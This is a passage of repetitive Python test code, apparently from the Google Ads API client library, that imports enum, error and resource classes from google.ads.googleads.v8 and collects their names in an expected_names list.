expected_names.append(BrandSafetySuitabilityEnum.__name__) from google.ads.googleads.v8 import BudgetDeliveryMethodEnum expected_names.append(BudgetDeliveryMethodEnum.__name__) from google.ads.googleads.v8 import BudgetPeriodEnum expected_names.append(BudgetPeriodEnum.__name__) from google.ads.googleads.v8 import BudgetStatusEnum expected_names.append(BudgetStatusEnum.__name__) from google.ads.googleads.v8 import BudgetTypeEnum expected_names.append(BudgetTypeEnum.__name__) from google.ads.googleads.v8 import CallPlaceholderFieldEnum expected_names.append(CallPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import CallTrackingDisplayLocationEnum expected_names.append(CallTrackingDisplayLocationEnum.__name__) from google.ads.googleads.v8 import CallTypeEnum expected_names.append(CallTypeEnum.__name__) from google.ads.googleads.v8 import CalloutPlaceholderFieldEnum expected_names.append(CalloutPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import CampaignCriterionStatusEnum expected_names.append(CampaignCriterionStatusEnum.__name__) from google.ads.googleads.v8 import CampaignDraftStatusEnum expected_names.append(CampaignDraftStatusEnum.__name__) from google.ads.googleads.v8 import CampaignExperimentStatusEnum expected_names.append(CampaignExperimentStatusEnum.__name__) from google.ads.googleads.v8 import CampaignExperimentTrafficSplitTypeEnum expected_names.append(CampaignExperimentTrafficSplitTypeEnum.__name__) from google.ads.googleads.v8 import CampaignExperimentTypeEnum expected_names.append(CampaignExperimentTypeEnum.__name__) from google.ads.googleads.v8 import CampaignServingStatusEnum expected_names.append(CampaignServingStatusEnum.__name__) from google.ads.googleads.v8 import CampaignSharedSetStatusEnum expected_names.append(CampaignSharedSetStatusEnum.__name__) from google.ads.googleads.v8 import CampaignStatusEnum expected_names.append(CampaignStatusEnum.__name__) from google.ads.googleads.v8 import ChangeClientTypeEnum expected_names.append(ChangeClientTypeEnum.__name__) from google.ads.googleads.v8 import ChangeEventResourceTypeEnum expected_names.append(ChangeEventResourceTypeEnum.__name__) from google.ads.googleads.v8 import ChangeStatusOperationEnum expected_names.append(ChangeStatusOperationEnum.__name__) from google.ads.googleads.v8 import ChangeStatusResourceTypeEnum expected_names.append(ChangeStatusResourceTypeEnum.__name__) from google.ads.googleads.v8 import CombinedAudienceStatusEnum expected_names.append(CombinedAudienceStatusEnum.__name__) from google.ads.googleads.v8 import ConversionActionCountingTypeEnum expected_names.append(ConversionActionCountingTypeEnum.__name__) from google.ads.googleads.v8 import ConversionActionStatusEnum expected_names.append(ConversionActionStatusEnum.__name__) from google.ads.googleads.v8 import ConversionActionTypeEnum expected_names.append(ConversionActionTypeEnum.__name__) from google.ads.googleads.v8 import ConversionAdjustmentTypeEnum expected_names.append(ConversionAdjustmentTypeEnum.__name__) from google.ads.googleads.v8 import ConversionCustomVariableStatusEnum expected_names.append(ConversionCustomVariableStatusEnum.__name__) from google.ads.googleads.v8 import ConversionValueRuleSetStatusEnum expected_names.append(ConversionValueRuleSetStatusEnum.__name__) from google.ads.googleads.v8 import ConversionValueRuleStatusEnum expected_names.append(ConversionValueRuleStatusEnum.__name__) from google.ads.googleads.v8 import CriterionSystemServingStatusEnum expected_names.append(CriterionSystemServingStatusEnum.__name__) from google.ads.googleads.v8 import CriterionTypeEnum expected_names.append(CriterionTypeEnum.__name__) from google.ads.googleads.v8 import CustomAudienceMemberTypeEnum expected_names.append(CustomAudienceMemberTypeEnum.__name__) from google.ads.googleads.v8 import CustomAudienceStatusEnum expected_names.append(CustomAudienceStatusEnum.__name__) from google.ads.googleads.v8 import CustomAudienceTypeEnum expected_names.append(CustomAudienceTypeEnum.__name__) from google.ads.googleads.v8 import CustomInterestMemberTypeEnum expected_names.append(CustomInterestMemberTypeEnum.__name__) from google.ads.googleads.v8 import CustomInterestStatusEnum expected_names.append(CustomInterestStatusEnum.__name__) from google.ads.googleads.v8 import CustomInterestTypeEnum expected_names.append(CustomInterestTypeEnum.__name__) from google.ads.googleads.v8 import CustomPlaceholderFieldEnum expected_names.append(CustomPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import CustomerPayPerConversionEligibilityFailureReasonEnum expected_names.append(CustomerPayPerConversionEligibilityFailureReasonEnum.__name__) from google.ads.googleads.v8 import DataDrivenModelStatusEnum expected_names.append(DataDrivenModelStatusEnum.__name__) from google.ads.googleads.v8 import DistanceBucketEnum expected_names.append(DistanceBucketEnum.__name__) from google.ads.googleads.v8 import DsaPageFeedCriterionFieldEnum expected_names.append(DsaPageFeedCriterionFieldEnum.__name__) from google.ads.googleads.v8 import EducationPlaceholderFieldEnum expected_names.append(EducationPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import ExtensionSettingDeviceEnum expected_names.append(ExtensionSettingDeviceEnum.__name__) from google.ads.googleads.v8 import ExtensionTypeEnum expected_names.append(ExtensionTypeEnum.__name__) from google.ads.googleads.v8 import FeedAttributeTypeEnum expected_names.append(FeedAttributeTypeEnum.__name__) from google.ads.googleads.v8 import FeedItemQualityApprovalStatusEnum expected_names.append(FeedItemQualityApprovalStatusEnum.__name__) from google.ads.googleads.v8 import FeedItemQualityDisapprovalReasonEnum expected_names.append(FeedItemQualityDisapprovalReasonEnum.__name__) from google.ads.googleads.v8 import FeedItemSetStatusEnum expected_names.append(FeedItemSetStatusEnum.__name__) from google.ads.googleads.v8 import FeedItemStatusEnum expected_names.append(FeedItemStatusEnum.__name__) from google.ads.googleads.v8 import FeedItemTargetDeviceEnum expected_names.append(FeedItemTargetDeviceEnum.__name__) from google.ads.googleads.v8 import FeedItemTargetStatusEnum expected_names.append(FeedItemTargetStatusEnum.__name__) from google.ads.googleads.v8 import FeedItemTargetTypeEnum expected_names.append(FeedItemTargetTypeEnum.__name__) from google.ads.googleads.v8 import FeedItemValidationStatusEnum expected_names.append(FeedItemValidationStatusEnum.__name__) from google.ads.googleads.v8 import FeedLinkStatusEnum expected_names.append(FeedLinkStatusEnum.__name__) from google.ads.googleads.v8 import FeedMappingCriterionTypeEnum expected_names.append(FeedMappingCriterionTypeEnum.__name__) from google.ads.googleads.v8 import FeedMappingStatusEnum expected_names.append(FeedMappingStatusEnum.__name__) from google.ads.googleads.v8 import FeedOriginEnum expected_names.append(FeedOriginEnum.__name__) from google.ads.googleads.v8 import FeedStatusEnum expected_names.append(FeedStatusEnum.__name__) from google.ads.googleads.v8 import FlightPlaceholderFieldEnum expected_names.append(FlightPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import GeoTargetConstantStatusEnum expected_names.append(GeoTargetConstantStatusEnum.__name__) from google.ads.googleads.v8 import GeoTargetingRestrictionEnum expected_names.append(GeoTargetingRestrictionEnum.__name__) from google.ads.googleads.v8 import GeoTargetingTypeEnum expected_names.append(GeoTargetingTypeEnum.__name__) from google.ads.googleads.v8 import GoogleAdsFieldCategoryEnum expected_names.append(GoogleAdsFieldCategoryEnum.__name__) from google.ads.googleads.v8 import GoogleAdsFieldDataTypeEnum expected_names.append(GoogleAdsFieldDataTypeEnum.__name__) from google.ads.googleads.v8 import GoogleVoiceCallStatusEnum expected_names.append(GoogleVoiceCallStatusEnum.__name__) from google.ads.googleads.v8 import HotelPlaceholderFieldEnum expected_names.append(HotelPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import ImagePlaceholderFieldEnum expected_names.append(ImagePlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import InvoiceTypeEnum expected_names.append(InvoiceTypeEnum.__name__) from google.ads.googleads.v8 import JobPlaceholderFieldEnum expected_names.append(JobPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import KeywordPlanForecastIntervalEnum expected_names.append(KeywordPlanForecastIntervalEnum.__name__) from google.ads.googleads.v8 import KeywordPlanKeywordAnnotationEnum expected_names.append(KeywordPlanKeywordAnnotationEnum.__name__) from google.ads.googleads.v8 import KeywordPlanNetworkEnum expected_names.append(KeywordPlanNetworkEnum.__name__) from google.ads.googleads.v8 import LabelStatusEnum expected_names.append(LabelStatusEnum.__name__) from google.ads.googleads.v8 import LinkedAccountTypeEnum expected_names.append(LinkedAccountTypeEnum.__name__) from google.ads.googleads.v8 import LocalPlaceholderFieldEnum expected_names.append(LocalPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import LocationExtensionTargetingCriterionFieldEnum expected_names.append(LocationExtensionTargetingCriterionFieldEnum.__name__) from google.ads.googleads.v8 import LocationPlaceholderFieldEnum expected_names.append(LocationPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import LocationSourceTypeEnum expected_names.append(LocationSourceTypeEnum.__name__) from google.ads.googleads.v8 import ManagerLinkStatusEnum expected_names.append(ManagerLinkStatusEnum.__name__) from google.ads.googleads.v8 import MediaTypeEnum expected_names.append(MediaTypeEnum.__name__) from google.ads.googleads.v8 import MerchantCenterLinkStatusEnum expected_names.append(MerchantCenterLinkStatusEnum.__name__) from google.ads.googleads.v8 import MessagePlaceholderFieldEnum expected_names.append(MessagePlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import MobileAppVendorEnum expected_names.append(MobileAppVendorEnum.__name__) from google.ads.googleads.v8 import MobileDeviceTypeEnum expected_names.append(MobileDeviceTypeEnum.__name__) from google.ads.googleads.v8 import NegativeGeoTargetTypeEnum expected_names.append(NegativeGeoTargetTypeEnum.__name__) from google.ads.googleads.v8 import OfflineUserDataJobFailureReasonEnum expected_names.append(OfflineUserDataJobFailureReasonEnum.__name__) from google.ads.googleads.v8 import OfflineUserDataJobStatusEnum expected_names.append(OfflineUserDataJobStatusEnum.__name__) from google.ads.googleads.v8 import OfflineUserDataJobTypeEnum expected_names.append(OfflineUserDataJobTypeEnum.__name__) from google.ads.googleads.v8 import OperatingSystemVersionOperatorTypeEnum expected_names.append(OperatingSystemVersionOperatorTypeEnum.__name__) from google.ads.googleads.v8 import OptimizationGoalTypeEnum expected_names.append(OptimizationGoalTypeEnum.__name__) from google.ads.googleads.v8 import PaymentModeEnum expected_names.append(PaymentModeEnum.__name__) from google.ads.googleads.v8 import PlacementTypeEnum expected_names.append(PlacementTypeEnum.__name__) from google.ads.googleads.v8 import PositiveGeoTargetTypeEnum expected_names.append(PositiveGeoTargetTypeEnum.__name__) from google.ads.googleads.v8 import PricePlaceholderFieldEnum expected_names.append(PricePlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import ProductBiddingCategoryStatusEnum expected_names.append(ProductBiddingCategoryStatusEnum.__name__) from google.ads.googleads.v8 import PromotionPlaceholderFieldEnum expected_names.append(PromotionPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import ReachPlanAdLengthEnum expected_names.append(ReachPlanAdLengthEnum.__name__) from google.ads.googleads.v8 import ReachPlanAgeRangeEnum expected_names.append(ReachPlanAgeRangeEnum.__name__) from google.ads.googleads.v8 import ReachPlanNetworkEnum expected_names.append(ReachPlanNetworkEnum.__name__) from google.ads.googleads.v8 import RealEstatePlaceholderFieldEnum expected_names.append(RealEstatePlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import ResourceChangeOperationEnum expected_names.append(ResourceChangeOperationEnum.__name__) from google.ads.googleads.v8 import ResourceLimitTypeEnum expected_names.append(ResourceLimitTypeEnum.__name__) from google.ads.googleads.v8 import ResponseContentTypeEnum expected_names.append(ResponseContentTypeEnum.__name__) from google.ads.googleads.v8 import SearchTermTargetingStatusEnum expected_names.append(SearchTermTargetingStatusEnum.__name__) from google.ads.googleads.v8 import SeasonalityEventScopeEnum expected_names.append(SeasonalityEventScopeEnum.__name__) from google.ads.googleads.v8 import SeasonalityEventStatusEnum expected_names.append(SeasonalityEventStatusEnum.__name__) from google.ads.googleads.v8 import SharedSetStatusEnum expected_names.append(SharedSetStatusEnum.__name__) from google.ads.googleads.v8 import SharedSetTypeEnum expected_names.append(SharedSetTypeEnum.__name__) from google.ads.googleads.v8 import SimulationModificationMethodEnum expected_names.append(SimulationModificationMethodEnum.__name__) from google.ads.googleads.v8 import SimulationTypeEnum expected_names.append(SimulationTypeEnum.__name__) from google.ads.googleads.v8 import SitelinkPlaceholderFieldEnum expected_names.append(SitelinkPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import SpendingLimitTypeEnum expected_names.append(SpendingLimitTypeEnum.__name__) from google.ads.googleads.v8 import StructuredSnippetPlaceholderFieldEnum expected_names.append(StructuredSnippetPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import SummaryRowSettingEnum expected_names.append(SummaryRowSettingEnum.__name__) from google.ads.googleads.v8 import SystemManagedResourceSourceEnum expected_names.append(SystemManagedResourceSourceEnum.__name__) from google.ads.googleads.v8 import TargetCpaOptInRecommendationGoalEnum expected_names.append(TargetCpaOptInRecommendationGoalEnum.__name__) from google.ads.googleads.v8 import TimeTypeEnum expected_names.append(TimeTypeEnum.__name__) from google.ads.googleads.v8 import TravelPlaceholderFieldEnum expected_names.append(TravelPlaceholderFieldEnum.__name__) from google.ads.googleads.v8 import UserInterestTaxonomyTypeEnum expected_names.append(UserInterestTaxonomyTypeEnum.__name__) from google.ads.googleads.v8 import UserListAccessStatusEnum expected_names.append(UserListAccessStatusEnum.__name__) from google.ads.googleads.v8 import UserListClosingReasonEnum expected_names.append(UserListClosingReasonEnum.__name__) from google.ads.googleads.v8 import UserListMembershipStatusEnum expected_names.append(UserListMembershipStatusEnum.__name__) from google.ads.googleads.v8 import UserListSizeRangeEnum expected_names.append(UserListSizeRangeEnum.__name__) from google.ads.googleads.v8 import UserListTypeEnum expected_names.append(UserListTypeEnum.__name__) from google.ads.googleads.v8 import ValueRuleDeviceTypeEnum expected_names.append(ValueRuleDeviceTypeEnum.__name__) from google.ads.googleads.v8 import ValueRuleGeoLocationMatchTypeEnum expected_names.append(ValueRuleGeoLocationMatchTypeEnum.__name__) from google.ads.googleads.v8 import ValueRuleOperationEnum expected_names.append(ValueRuleOperationEnum.__name__) from google.ads.googleads.v8 import ValueRuleSetAttachmentTypeEnum expected_names.append(ValueRuleSetAttachmentTypeEnum.__name__) from google.ads.googleads.v8 import ValueRuleSetDimensionEnum expected_names.append(ValueRuleSetDimensionEnum.__name__) from google.ads.googleads.v8 import VanityPharmaDisplayUrlModeEnum expected_names.append(VanityPharmaDisplayUrlModeEnum.__name__) from google.ads.googleads.v8 import VanityPharmaTextEnum expected_names.append(VanityPharmaTextEnum.__name__) from google.ads.googleads.v8 import AccessInvitationErrorEnum expected_names.append(AccessInvitationErrorEnum.__name__) from google.ads.googleads.v8 import AccountBudgetProposalErrorEnum expected_names.append(AccountBudgetProposalErrorEnum.__name__) from google.ads.googleads.v8 import AccountLinkErrorEnum expected_names.append(AccountLinkErrorEnum.__name__) from google.ads.googleads.v8 import AdCustomizerErrorEnum expected_names.append(AdCustomizerErrorEnum.__name__) from google.ads.googleads.v8 import AdErrorEnum expected_names.append(AdErrorEnum.__name__) from google.ads.googleads.v8 import AdGroupAdErrorEnum expected_names.append(AdGroupAdErrorEnum.__name__) from google.ads.googleads.v8 import AdGroupBidModifierErrorEnum expected_names.append(AdGroupBidModifierErrorEnum.__name__) from google.ads.googleads.v8 import AdGroupCriterionErrorEnum expected_names.append(AdGroupCriterionErrorEnum.__name__) from google.ads.googleads.v8 import AdGroupErrorEnum expected_names.append(AdGroupErrorEnum.__name__) from google.ads.googleads.v8 import AdGroupFeedErrorEnum expected_names.append(AdGroupFeedErrorEnum.__name__) from google.ads.googleads.v8 import AdParameterErrorEnum expected_names.append(AdParameterErrorEnum.__name__) from google.ads.googleads.v8 import AdSharingErrorEnum expected_names.append(AdSharingErrorEnum.__name__) from google.ads.googleads.v8 import AdxErrorEnum expected_names.append(AdxErrorEnum.__name__) from google.ads.googleads.v8 import AssetErrorEnum expected_names.append(AssetErrorEnum.__name__) from google.ads.googleads.v8 import AssetLinkErrorEnum expected_names.append(AssetLinkErrorEnum.__name__) from google.ads.googleads.v8 import AuthenticationErrorEnum expected_names.append(AuthenticationErrorEnum.__name__) from google.ads.googleads.v8 import AuthorizationErrorEnum expected_names.append(AuthorizationErrorEnum.__name__) from google.ads.googleads.v8 import BatchJobErrorEnum expected_names.append(BatchJobErrorEnum.__name__) from google.ads.googleads.v8 import BiddingErrorEnum expected_names.append(BiddingErrorEnum.__name__) from google.ads.googleads.v8 import BiddingStrategyErrorEnum expected_names.append(BiddingStrategyErrorEnum.__name__) from google.ads.googleads.v8 import BillingSetupErrorEnum expected_names.append(BillingSetupErrorEnum.__name__) from google.ads.googleads.v8 import CampaignBudgetErrorEnum expected_names.append(CampaignBudgetErrorEnum.__name__) from google.ads.googleads.v8 import CampaignCriterionErrorEnum expected_names.append(CampaignCriterionErrorEnum.__name__) from google.ads.googleads.v8 import CampaignDraftErrorEnum expected_names.append(CampaignDraftErrorEnum.__name__) from google.ads.googleads.v8 import CampaignErrorEnum expected_names.append(CampaignErrorEnum.__name__) from google.ads.googleads.v8 import CampaignExperimentErrorEnum expected_names.append(CampaignExperimentErrorEnum.__name__) from google.ads.googleads.v8 import CampaignFeedErrorEnum expected_names.append(CampaignFeedErrorEnum.__name__) from google.ads.googleads.v8 import CampaignSharedSetErrorEnum expected_names.append(CampaignSharedSetErrorEnum.__name__) from google.ads.googleads.v8 import ChangeEventErrorEnum expected_names.append(ChangeEventErrorEnum.__name__) from google.ads.googleads.v8 import ChangeStatusErrorEnum expected_names.append(ChangeStatusErrorEnum.__name__) from google.ads.googleads.v8 import CollectionSizeErrorEnum expected_names.append(CollectionSizeErrorEnum.__name__) from google.ads.googleads.v8 import ContextErrorEnum expected_names.append(ContextErrorEnum.__name__) from google.ads.googleads.v8 import ConversionActionErrorEnum expected_names.append(ConversionActionErrorEnum.__name__) from google.ads.googleads.v8 import ConversionAdjustmentUploadErrorEnum expected_names.append(ConversionAdjustmentUploadErrorEnum.__name__) from google.ads.googleads.v8 import ConversionCustomVariableErrorEnum expected_names.append(ConversionCustomVariableErrorEnum.__name__) from google.ads.googleads.v8 import ConversionUploadErrorEnum expected_names.append(ConversionUploadErrorEnum.__name__) from google.ads.googleads.v8 import ConversionValueRuleErrorEnum expected_names.append(ConversionValueRuleErrorEnum.__name__) from google.ads.googleads.v8 import ConversionValueRuleSetErrorEnum expected_names.append(ConversionValueRuleSetErrorEnum.__name__) from google.ads.googleads.v8 import CountryCodeErrorEnum expected_names.append(CountryCodeErrorEnum.__name__) from google.ads.googleads.v8 import CriterionErrorEnum expected_names.append(CriterionErrorEnum.__name__) from google.ads.googleads.v8 import CurrencyCodeErrorEnum expected_names.append(CurrencyCodeErrorEnum.__name__) from google.ads.googleads.v8 import CustomAudienceErrorEnum expected_names.append(CustomAudienceErrorEnum.__name__) from google.ads.googleads.v8 import CustomInterestErrorEnum expected_names.append(CustomInterestErrorEnum.__name__) from google.ads.googleads.v8 import CustomerClientLinkErrorEnum expected_names.append(CustomerClientLinkErrorEnum.__name__) from google.ads.googleads.v8 import CustomerErrorEnum expected_names.append(CustomerErrorEnum.__name__) from google.ads.googleads.v8 import CustomerFeedErrorEnum expected_names.append(CustomerFeedErrorEnum.__name__) from google.ads.googleads.v8 import CustomerManagerLinkErrorEnum expected_names.append(CustomerManagerLinkErrorEnum.__name__) from google.ads.googleads.v8 import CustomerUserAccessErrorEnum expected_names.append(CustomerUserAccessErrorEnum.__name__) from google.ads.googleads.v8 import DatabaseErrorEnum expected_names.append(DatabaseErrorEnum.__name__) from google.ads.googleads.v8 import DateErrorEnum expected_names.append(DateErrorEnum.__name__) from google.ads.googleads.v8 import DateRangeErrorEnum expected_names.append(DateRangeErrorEnum.__name__) from google.ads.googleads.v8 import DistinctErrorEnum expected_names.append(DistinctErrorEnum.__name__) from google.ads.googleads.v8 import EnumErrorEnum expected_names.append(EnumErrorEnum.__name__) from google.ads.googleads.v8 import ExtensionFeedItemErrorEnum expected_names.append(ExtensionFeedItemErrorEnum.__name__) from google.ads.googleads.v8 import ExtensionSettingErrorEnum expected_names.append(ExtensionSettingErrorEnum.__name__) from google.ads.googleads.v8 import FeedAttributeReferenceErrorEnum expected_names.append(FeedAttributeReferenceErrorEnum.__name__) from google.ads.googleads.v8 import FeedErrorEnum expected_names.append(FeedErrorEnum.__name__) from google.ads.googleads.v8 import FeedItemErrorEnum expected_names.append(FeedItemErrorEnum.__name__) from google.ads.googleads.v8 import FeedItemSetErrorEnum expected_names.append(FeedItemSetErrorEnum.__name__) from google.ads.googleads.v8 import FeedItemSetLinkErrorEnum expected_names.append(FeedItemSetLinkErrorEnum.__name__) from google.ads.googleads.v8 import FeedItemTargetErrorEnum expected_names.append(FeedItemTargetErrorEnum.__name__) from google.ads.googleads.v8 import FeedItemValidationErrorEnum expected_names.append(FeedItemValidationErrorEnum.__name__) from google.ads.googleads.v8 import FeedMappingErrorEnum expected_names.append(FeedMappingErrorEnum.__name__) from google.ads.googleads.v8 import FieldErrorEnum expected_names.append(FieldErrorEnum.__name__) from google.ads.googleads.v8 import FieldMaskErrorEnum expected_names.append(FieldMaskErrorEnum.__name__) from google.ads.googleads.v8 import FunctionErrorEnum expected_names.append(FunctionErrorEnum.__name__) from google.ads.googleads.v8 import FunctionParsingErrorEnum expected_names.append(FunctionParsingErrorEnum.__name__) from google.ads.googleads.v8 import GeoTargetConstantSuggestionErrorEnum expected_names.append(GeoTargetConstantSuggestionErrorEnum.__name__) from google.ads.googleads.v8 import HeaderErrorEnum expected_names.append(HeaderErrorEnum.__name__) from google.ads.googleads.v8 import IdErrorEnum expected_names.append(IdErrorEnum.__name__) from google.ads.googleads.v8 import ImageErrorEnum expected_names.append(ImageErrorEnum.__name__) from google.ads.googleads.v8 import InternalErrorEnum expected_names.append(InternalErrorEnum.__name__) from google.ads.googleads.v8 import InvoiceErrorEnum expected_names.append(InvoiceErrorEnum.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupErrorEnum expected_names.append(KeywordPlanAdGroupErrorEnum.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupKeywordErrorEnum expected_names.append(KeywordPlanAdGroupKeywordErrorEnum.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignErrorEnum expected_names.append(KeywordPlanCampaignErrorEnum.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignKeywordErrorEnum expected_names.append(KeywordPlanCampaignKeywordErrorEnum.__name__) from google.ads.googleads.v8 import KeywordPlanErrorEnum expected_names.append(KeywordPlanErrorEnum.__name__) from google.ads.googleads.v8 import KeywordPlanIdeaErrorEnum expected_names.append(KeywordPlanIdeaErrorEnum.__name__) from google.ads.googleads.v8 import LabelErrorEnum expected_names.append(LabelErrorEnum.__name__) from google.ads.googleads.v8 import LanguageCodeErrorEnum expected_names.append(LanguageCodeErrorEnum.__name__) from google.ads.googleads.v8 import ListOperationErrorEnum expected_names.append(ListOperationErrorEnum.__name__) from google.ads.googleads.v8 import ManagerLinkErrorEnum expected_names.append(ManagerLinkErrorEnum.__name__) from google.ads.googleads.v8 import MediaBundleErrorEnum expected_names.append(MediaBundleErrorEnum.__name__) from google.ads.googleads.v8 import MediaFileErrorEnum expected_names.append(MediaFileErrorEnum.__name__) from google.ads.googleads.v8 import MediaUploadErrorEnum expected_names.append(MediaUploadErrorEnum.__name__) from google.ads.googleads.v8 import MultiplierErrorEnum expected_names.append(MultiplierErrorEnum.__name__) from google.ads.googleads.v8 import MutateErrorEnum expected_names.append(MutateErrorEnum.__name__) from google.ads.googleads.v8 import NewResourceCreationErrorEnum expected_names.append(NewResourceCreationErrorEnum.__name__) from google.ads.googleads.v8 import NotAllowlistedErrorEnum expected_names.append(NotAllowlistedErrorEnum.__name__) from google.ads.googleads.v8 import NotEmptyErrorEnum expected_names.append(NotEmptyErrorEnum.__name__) from google.ads.googleads.v8 import NullErrorEnum expected_names.append(NullErrorEnum.__name__) from google.ads.googleads.v8 import OfflineUserDataJobErrorEnum expected_names.append(OfflineUserDataJobErrorEnum.__name__) from google.ads.googleads.v8 import OperationAccessDeniedErrorEnum expected_names.append(OperationAccessDeniedErrorEnum.__name__) from google.ads.googleads.v8 import OperatorErrorEnum expected_names.append(OperatorErrorEnum.__name__) from google.ads.googleads.v8 import PartialFailureErrorEnum expected_names.append(PartialFailureErrorEnum.__name__) from google.ads.googleads.v8 import PaymentsAccountErrorEnum expected_names.append(PaymentsAccountErrorEnum.__name__) from google.ads.googleads.v8 import PolicyFindingErrorEnum expected_names.append(PolicyFindingErrorEnum.__name__) from google.ads.googleads.v8 import PolicyValidationParameterErrorEnum expected_names.append(PolicyValidationParameterErrorEnum.__name__) from google.ads.googleads.v8 import PolicyViolationErrorEnum expected_names.append(PolicyViolationErrorEnum.__name__) from google.ads.googleads.v8 import QueryErrorEnum expected_names.append(QueryErrorEnum.__name__) from google.ads.googleads.v8 import QuotaErrorEnum expected_names.append(QuotaErrorEnum.__name__) from google.ads.googleads.v8 import RangeErrorEnum expected_names.append(RangeErrorEnum.__name__) from google.ads.googleads.v8 import ReachPlanErrorEnum expected_names.append(ReachPlanErrorEnum.__name__) from google.ads.googleads.v8 import RecommendationErrorEnum expected_names.append(RecommendationErrorEnum.__name__) from google.ads.googleads.v8 import RegionCodeErrorEnum expected_names.append(RegionCodeErrorEnum.__name__) from google.ads.googleads.v8 import RequestErrorEnum expected_names.append(RequestErrorEnum.__name__) from google.ads.googleads.v8 import ResourceAccessDeniedErrorEnum expected_names.append(ResourceAccessDeniedErrorEnum.__name__) from google.ads.googleads.v8 import ResourceCountLimitExceededErrorEnum expected_names.append(ResourceCountLimitExceededErrorEnum.__name__) from google.ads.googleads.v8 import SettingErrorEnum expected_names.append(SettingErrorEnum.__name__) from google.ads.googleads.v8 import SharedCriterionErrorEnum expected_names.append(SharedCriterionErrorEnum.__name__) from google.ads.googleads.v8 import SharedSetErrorEnum expected_names.append(SharedSetErrorEnum.__name__) from google.ads.googleads.v8 import SizeLimitErrorEnum expected_names.append(SizeLimitErrorEnum.__name__) from google.ads.googleads.v8 import StringFormatErrorEnum expected_names.append(StringFormatErrorEnum.__name__) from google.ads.googleads.v8 import StringLengthErrorEnum expected_names.append(StringLengthErrorEnum.__name__) from google.ads.googleads.v8 import ThirdPartyAppAnalyticsLinkErrorEnum expected_names.append(ThirdPartyAppAnalyticsLinkErrorEnum.__name__) from google.ads.googleads.v8 import TimeZoneErrorEnum expected_names.append(TimeZoneErrorEnum.__name__) from google.ads.googleads.v8 import UrlFieldErrorEnum expected_names.append(UrlFieldErrorEnum.__name__) from google.ads.googleads.v8 import UserDataErrorEnum expected_names.append(UserDataErrorEnum.__name__) from google.ads.googleads.v8 import UserListErrorEnum expected_names.append(UserListErrorEnum.__name__) from google.ads.googleads.v8 import YoutubeVideoRegistrationErrorEnum expected_names.append(YoutubeVideoRegistrationErrorEnum.__name__) from google.ads.googleads.v8 import GoogleAdsFailure expected_names.append(GoogleAdsFailure.__name__) from google.ads.googleads.v8 import GoogleAdsError expected_names.append(GoogleAdsError.__name__) from google.ads.googleads.v8 import ErrorCode expected_names.append(ErrorCode.__name__) from google.ads.googleads.v8 import ErrorLocation expected_names.append(ErrorLocation.__name__) from google.ads.googleads.v8 import ErrorDetails expected_names.append(ErrorDetails.__name__) from google.ads.googleads.v8 import PolicyViolationDetails expected_names.append(PolicyViolationDetails.__name__) from google.ads.googleads.v8 import PolicyFindingDetails expected_names.append(PolicyFindingDetails.__name__) from google.ads.googleads.v8 import QuotaErrorDetails expected_names.append(QuotaErrorDetails.__name__) from google.ads.googleads.v8 import ResourceCountDetails expected_names.append(ResourceCountDetails.__name__) from google.ads.googleads.v8 import AccessibleBiddingStrategy expected_names.append(AccessibleBiddingStrategy.__name__) from google.ads.googleads.v8 import AccountBudget expected_names.append(AccountBudget.__name__) from google.ads.googleads.v8 import AccountBudgetProposal expected_names.append(AccountBudgetProposal.__name__) from google.ads.googleads.v8 import AccountLink expected_names.append(AccountLink.__name__) from google.ads.googleads.v8 import ThirdPartyAppAnalyticsLinkIdentifier expected_names.append(ThirdPartyAppAnalyticsLinkIdentifier.__name__) from google.ads.googleads.v8 import DataPartnerLinkIdentifier expected_names.append(DataPartnerLinkIdentifier.__name__) from google.ads.googleads.v8 import GoogleAdsLinkIdentifier expected_names.append(GoogleAdsLinkIdentifier.__name__) from google.ads.googleads.v8 import Ad expected_names.append(Ad.__name__) from google.ads.googleads.v8 import AdGroup expected_names.append(AdGroup.__name__) from google.ads.googleads.v8 import AdGroupAd expected_names.append(AdGroupAd.__name__) from google.ads.googleads.v8 import AdGroupAdPolicySummary expected_names.append(AdGroupAdPolicySummary.__name__) from google.ads.googleads.v8 import AdGroupAdAssetView expected_names.append(AdGroupAdAssetView.__name__) from google.ads.googleads.v8 import AdGroupAdAssetPolicySummary expected_names.append(AdGroupAdAssetPolicySummary.__name__) from google.ads.googleads.v8 import AdGroupAdLabel expected_names.append(AdGroupAdLabel.__name__) from google.ads.googleads.v8 import AdGroupAsset expected_names.append(AdGroupAsset.__name__) from google.ads.googleads.v8 import AdGroupAudienceView expected_names.append(AdGroupAudienceView.__name__) from google.ads.googleads.v8 import AdGroupBidModifier expected_names.append(AdGroupBidModifier.__name__) from google.ads.googleads.v8 import AdGroupCriterion expected_names.append(AdGroupCriterion.__name__) from google.ads.googleads.v8 import AdGroupCriterionLabel expected_names.append(AdGroupCriterionLabel.__name__) from google.ads.googleads.v8 import AdGroupCriterionSimulation expected_names.append(AdGroupCriterionSimulation.__name__) from google.ads.googleads.v8 import AdGroupExtensionSetting expected_names.append(AdGroupExtensionSetting.__name__) from google.ads.googleads.v8 import AdGroupFeed expected_names.append(AdGroupFeed.__name__) from google.ads.googleads.v8 import AdGroupLabel expected_names.append(AdGroupLabel.__name__) from google.ads.googleads.v8 import AdGroupSimulation expected_names.append(AdGroupSimulation.__name__) from google.ads.googleads.v8 import AdParameter expected_names.append(AdParameter.__name__) from google.ads.googleads.v8 import AdScheduleView expected_names.append(AdScheduleView.__name__) from google.ads.googleads.v8 import AgeRangeView 